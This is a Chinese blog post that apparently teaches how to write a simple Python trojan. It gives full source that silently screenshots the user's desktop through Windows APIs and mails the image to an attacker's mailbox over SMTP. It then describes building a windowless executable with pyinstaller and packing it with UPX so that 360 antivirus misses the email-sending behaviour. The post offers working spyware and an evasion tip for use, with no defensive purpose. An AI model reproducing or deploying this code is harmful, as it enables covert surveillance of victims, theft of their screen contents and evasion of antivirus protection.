python编写简易木马程序_python简易木马编写

功能为对用户机器进行截图,并将截图结果发送至程序指定邮箱。

系统由两个功能组成:获取屏幕截图和发送邮件到邮箱。

源码如下:

# -*- coding: utf-8 -*-

import win32gui

import win32ui

import win32con

import win32api

import os,os.path

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart

import smtplib

def sendFile(FilePos):

msg = MIMEMultipart()

To = 'XXXXX'(接受邮箱的地址,如XXXXXXXXX@qq.com)

From = 'XXXXX'(发送邮箱的地址,如XXXXXXXXX@qq.com)

FromPWD = 'XXXXX'(发送邮箱的密码)

SmtpSrv = 'XXXXXX'(邮箱服务器,如stmp.qq.com)

att = MIMEText(open(FilePos, 'rb').read(), 'base64', 'gb2312')

att["Content-Type"] = 'application/octet-stream'

att["Content-Disposition"] = 'attachment; filename='+FilePos

msg.attach(att)

msg['to'] = To

msg['from'] = From

msg['subject'] = 'test'

try:

print 'try to send'

server = smtplib.SMTP()

server.connect(SmtpSrv)

server.login(From,FromPWD)

server.sendmail(msg['from'], msg['to'],msg.as_string())

server.quit()

print 'send success'

except Exception, e:

print str(e)

# 获取桌面

hdesktop = win32gui.GetDesktopWindow()

# 分辨率适应

width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)

height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)

left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)

top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# 创建设备描述表

desktop_dc = win32gui.GetWindowDC(hdesktop)

img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# 创建一个内存设备描述表

mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象

screenshot = win32ui.CreateBitmap()

screenshot.CreateCompatibleBitmap(img_dc, width, height)

mem_dc.SelectObject(screenshot)

# 截图至内存设备描述表

mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

# 将截图保存到文件中

screenshot.SaveBitmapFile(mem_dc, 'screenshot.bmp')

# 内存释放

mem_dc.DeleteDC()

win32gui.DeleteObject(screenshot.GetHandle())

sendFile('screenshot.bmp')

收发邮箱的地址可均填为自己的QQ邮件,密码为QQ邮箱密码。服务器为qq的stmp服务器

其中sendFile函数功能为向用户指定的邮箱发送有附件的邮件,其中附件为输入参数FilePos所在的位置。本系统中FilePos为screenshot.bmp,即发送邮件中的附件为当前目录下的screenshot.bmp。

从代码中可看出系统首先通过windows提供的API获取截图,并将截图保存至当前目录,命名为screenshot.bmp,之后通过sendFile函数将其发送出去。

代码写完以后通过pyinstaller将py文件打包为.exe文件。具体使用方法见:

参数选择建议为:

python pyinstaller.py -F -w PythonFileName.py

其中PythonFileName.py为编写的python文件。

此外,执行exe文件时会被360检测到程序有发送邮件的动作,可通过加壳避免。 加壳软件推荐使用UPX Shell:

这样360就不会检测到了。

参考链接:

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值